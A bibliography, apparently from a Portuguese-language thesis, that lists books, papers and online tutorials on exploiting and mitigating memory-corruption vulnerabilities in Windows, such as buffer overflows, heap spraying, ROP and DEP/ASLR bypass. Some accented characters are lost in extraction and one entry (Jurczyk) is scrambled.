[Anley et al., 2007] Anley C., Heasman J., Lindner F., e Richarte G. (2004), The Shellcoders Handbook: Discovering and Exploiting Security Holes, Wiley. [Anwar, 2009] Anwar P. (2009), Buffer Overflows in the Microsoft Windows Environment. Disponvel em: <http://www.ma.rhul.ac.uk/static/techrep/2009/RHUL-MA-2009-06.pdf>. [Blazakis, 2010] Blazakis, D. (2010), Interpreter exploitation. Em: Proceedings of the USENIX Workshop on Offensive Technologies. [BLEXIM 2002] Blexim (2002), Basic Integer Overflow. Disponvel em: < www.phrack.org/60/p60-0x0a.txt >. [Bradshaw, 2011] Bradshaw S. (2011), Restricted Character Set Vulnserver Exploit Tutorial, Infosec Institute. Diponvel em: <http://resources.infosecinstitute.com/restricted-character-set-vulnserver/> [CERT/CC, 2011] Estados Unidos da Amrica Computer Emergency Response Team/Coordination Center, Carnegie Mellon University (2011), CERT Statistics (Historical). Disponvel em: <http://www.cert.org/stats/>. [Chien e Szor, 2002] Chien E., Szor P. (2002), Blended Attacks Exploits, Vulnerabilities and Buffer-Overflow Techniques in Computer Viruses, Virus Bulletin Conference. [Coimbra, 2011] Coimbra, J. (2011), Estudo da vulnerabilidade de Heap Overflow e medidas de proteo. Disponvel em < http://www.lume.ufrgs.br/bitstream/handle/10183/36924/000819136.pdf>. [Conover, 2002] Conover, M. (2002), w00w00 on Heap Overflows.. Disponvel em:< http://www.w00w00.org/files/articles/heaptut.txt>. [Cugliari e Graziano, 2010] Cugliari, A., Graziano, M. (2010), Smashing the stack in 2010: Report for the Computer Security exam at the Politecnico di Torino , Disponvel em: <http://www.mgraziano.info/docs/stsi2010.pdf>. [Damele, 2009] Damele, B. (2009), "DEP bypass with SetProcessDEPPolicy()". Disponvel em: <http://bernardodamele.blogspot.com.br/2009/12/dep-bypass-withsetprocessdeppolicy.html>. [Ding et al., 2010] Ding, Y., Wei, T., Wang,T., Liang, Z. and Zou, W. 2010. Heap Taichi: exploiting memory allocation granularity in heap-spraying attacks. In

Proceedings of the 26th Annual Computer Security Applications Conference (ACSAC '10). ACM, New York, NY, USA, 327-336. [Eckhoutte, 2009] Eeckhoutte, P. (2009), "Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR". Disponvel em: <https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6bypassing-stack-cookies-safeseh-hw-dep-and-aslr/>. [Eeckhoutte, 2010b] Eeckhoutte, P. (2010), "Exploit writing tutorial part 10 : Chaining DEP with ROP the Rubiks[TM] Cube". Disponvel em: <https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10chaining-dep-with-rop-the-rubikstm-cube/>. [Eeckhoutte, 2010c] Eeckhoutte, P. (2010), Exploit writing tutorial part 9 : Introduction to Win32 shellcoding. Disponvel em <http://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9introduction-to-win32-shellcoding/>. [Eeckhoutte, 2011] Eeckhoutte, P. (2011), "Exploit writing tutorial part 11 : Heap Spraying Demystified". Disponvel em: <https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heapspraying-demystified/>. [Engebretson, 2011] Engebretson, P. (2011), "The Basics of Hacking and Penetration Testing: Ethical Hacking and Penetration Testing Made Easy", Syngress [Erickson, 2009] Erickson, J. (2009), Hacking. Digerati books. [EUA, 2005] Estados Unidos da Amrica. (2005), Cyber Security: A Crisis of Prioritization. Disponvel em: <http://www.nitrd.gov/pitac/reports/20050301_cybersecurity/cybersecurity.pdf>. [Gadaleta et al., 2010] Gadaleta F., Younan Y. and W. Joosen W. (2010), "BuBBle: A JavaScript engine level countermeasure against heap-spraying attacks". In Proceedings of ESSoS, pages 1-17. [Harper et al., 2011] Harper A., Harris S., Ness J., Eagle C., Lenkey G., Williams T. (2011), "Gray Hat Hacking: The Ethical Hackers Handbook", McGraw-Hill. [Hoglund e Macgraw, 2006] Hoglund, G., Macgraw, G. (2006), Como Quebrar Cdigos: a Arte de Explorar (e Proteger) Software, Pearson Education do Brasil. [Hsu et al., 2010] Hsu, F. Huang, C. Hsu, C. Ou, C. Chen, Chiu, P. (2010), HSP: A solution against heap sprays, Journal of Systems and Software, Volume 83, Issue 11. [Johny et al., 2012] Johny P., Bhagyavathi M., Swarnalatha P. (2012), "Porting Legacy Systems of 16bit to 64bit", International Journal of Emerging Trends in Engineering and Development, nmero 2, vol. 4. [Jurczyk, 2012] Jurczyk, M. (2012), (NT/2000/XP/2003/Vista/2008/7/8)". <http://j00ru.vexillium.org/ntapi>. "Windows X86 System Disponvel Call Table em:

[Karin, 2006] Karin, A. (2006), Automatic Malware Signature Generation. Disponvel em: <http://web.it.kth.se/~cschulte/teaching/theses/ICT-ECS-2006-122.pdf >. [Kennedy et al., 2011] Kennedy, D., OGorman, J., Kearns, D. and Aharoni, M. (2011), Metasploit The Penetration Testers Guide. No Starch Press. [Le Berre e Cauquil, 2009] Le Berre, S. Cauquil, D. (2009), "Bypassing SEHOP". Disponvel em: <http://www.sysdream.com/sites/default/files/sehop_en.pdf>. [Le, 2010] Le, L. (2010), "Payload Already Inside: Data Reuse For Rop Exploits". Em: Black Hat USA 2010. [Maynor e Mookhey, 2007] Maynor, D. and Mookhey, K. (2007), "Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research". [Maziero, 2011] Maziero, C. (2011), Sistemas Operacionais V - Gerncia de Memria, Disponvel em: <http://dainf.ct.utfpr.edu.br/~maziero/lib/exe/fetch.php/so:socap05.pdf>. [McNally et al., 2012] McNally, R., Yiu, K., Duncan, G. and Damien, G. (2012), Fuzzing: The State of the Art. Australian Government. [Microsoft, 2006] Microsoft (2006), "A detailed description of the Data Execution Prevention (DEP) feature in Windows XP Service Pack 2, Windows XP Tablet PC Edition 2005, and Windows Server 2003". Disponvel em: <http://support.microsoft.com/kb/875352>. [Microsoft, 2010a] Microsoft (2010), Windows ISV Software Security Defenses. Disponvel em: <http://msdn.microsoft.com/en-us/library/bb430720.aspx>. [Microsoft, 2010b] Microsoft (2010), On the effectiveness of DEP and ASLR. Disponvel em: <http://blogs.technet.com/b/srd/archive/2010/12/08/on-theeffectiveness-of-dep-and-aslr.aspx>. [Microsoft, 2012a] Microsoft. (2012), O Kit de Ferramentas Avanado de Experincia de Reduo. Disponvel em: <http://support.microsoft.com/kb/2458544>. [Microsoft, 2012b] Microsoft. (2012), "Enhanced Mitigation Experience Toolkit v3.0 User Guide". Disponvel em: <http://www.microsoft.com/enus/download/details.aspx?id=29851>. [Microsoft, 2012c] Microsoft. (2012), Microsoft Security Toolkit Delivers New BlueHat Prize Defensive Technology. Disponvel em: <http://www.microsoft.com/en-us/news/Press/2012/Jul12/0725BlueHatPrizePR.aspx>. [Microsoft, 2012d] Microsoft (2012), /SAFESEH (Image has Safe Exception Handlers). Disponvel em: <http://msdn.microsoft.com/enus/library/9a89h429%28v=vs.110%29.aspx>. [Miller and Johnson, 2005] Miller, M., Johnson, K.(2005), "Bypassing Windows Hardware-enforced Data Execution Prevention". Disponvel em: <http://www.uninformed.org/?v=2&a=4>.

[Miller, 2004] Miller, M. (2004), Safely Searching Process Virtual Address Space. Disponvel em: <http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf>. [Miller, 2009] Miller, M. (2009), "Preventing the Exploitation of Structured Exception Handler (SEH) Overwrites with SEHOP". Disponvel em: <http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-exploitation-ofseh-overwrites-with-sehop.aspx>. [Moura e Rebiha, 2009] Moura, A. e Rebiha, R. (2009), Automated Malware Invariant Generation. Em: International Conference on Forensic Computer Science (ICoFCS). [MSDN, 2012] MSDN (2012), Running 32-bit Applications, Disponvel em: <http://msdn.microsoft.com/en-us/library/aa384249%28v=vs.85%29>. [One, 1996] One, A., (1996), Smashing The Stack For Fun And Profit, Em: Revista eletrnica "Phrack", vol. 7, n 49,. [Orman e Streak, 2003] Orman, H., Streak, P. (2003), The Morris worm: a fifteen-year perspective, Security & Privacy, IEEE, [s. L.], pg. 35-43. [Parver, 2009] Parvez, A. (2009) Buffer Overflow in the Microsoft Windows Environment. Disponvel em: <http://www.ma.rhul.ac.uk/static/techrep/2009/RHUL-MA-2009-06.pdf>. [Rad e Masrom, 2010] Rad, B. B. e Masrom, M. (2010), Metamorphic Virus Variants Classification Using Opcode Frequency Histogram. LATEST TRENDS on COMPUTERS. vol 1. pg. 147-155. [Ratanaworabhan et al., 2009] Ratanaworabhan P., Livshits B. and Zorn B., (2009), NOZZLE: a defense against heap-spraying code injection attacks. Em: Proceedings of the 18th conference on USENIX security symposium (SSYM'09). [Recx, 2011] Recx (2011) The Curious Case of VirtualAlloc, ASLR and an SDL. Disponvel em: <http://recxltd.blogspot.com.br/2011/12/curious-case-of-virtualallocaslr-and.html>. [Repret, 2012] Repret (2012), Bypassing EMET 3.5As ROP Mitigations. Disponvel em: < https://repret.wordpress.com/2012/08/08/bypassing-emet-3-5s-ropmitigations/>. [SANS, 2012] SANS (2012), Buffer Overflows for Dummies. SANS Institute - pg. 19 Disponvel em: <http://www.sans.org/reading_room/whitepapers/threats/bufferoverflows-dummies_481>. [Shacham, 2007] Shacham, H. (2007). The geometry of innocent flesh on the bone: return-into-libc without function calls (on the x86). In Proceedings of the 14th ACM conference on Computer and communications security (CCS '07). ACM, New York, NY, USA, 552-561. [Sintsov, 2010a] Sintsov, A. (2010), Writing JIT-Spray Shellcode for fun and profit. Disponvel em: <http://dsecrg.com/files/pub/pdf/Writing JIT-Spray Shellcode for fun and profit.pdf>.

[Sintsov, 2010b] Sintsov, A. (2010), "JIT-SPRAY Attacks & Advanced Shellcode". Em: HITBSecConf 2010, Amsterdam. [Sotirov e Dowd, 2008] Sotirov, A., Dowd, M. (2008), "Bypassing Browser Memory Protections: Setting back browser security by 10 years". Disponvel em: <http://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirovdowd.pdf>. [Sutton et al., 2007] Sutton, M., Greene, A., Pedram, A. (2007), Fuzzing Brute Force Vulnerability Discovery. Addison-Wesley. [Teso, 2001] Teso (2011), Exploiting Format String Vulnerabilities. Disponvel em: < http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf>. [Ulbrich, 2009] Ulbrich, H. (2009), Universidade Hacker. Digerati books. [Werthmann, 2006] Werthmann, T., (2006), Survey on Buffer Overflow Attacks and Countermeasures, Em: SEMINAR SS 2006, 140., Bochum. [Wever, 2009] Wever, B. (2009), "Shellcode: finding the base address of kernel32 in Windows 7". Disponvel em: <http://skypher.com/index.php/2009/07/22/shellcodefinding-kernel32-in-windows-7/>. [Wilhelm, 2009] Wilhelm, T. (2009), Professional Penetration Testing, Syngress. [Young e McHugh, 1987] Young, W. , McHugh, J. (1987), "Coding for a believable specification to implementation mapping". Em: Proceedings of the IEEE Symposium on Security and Privacy.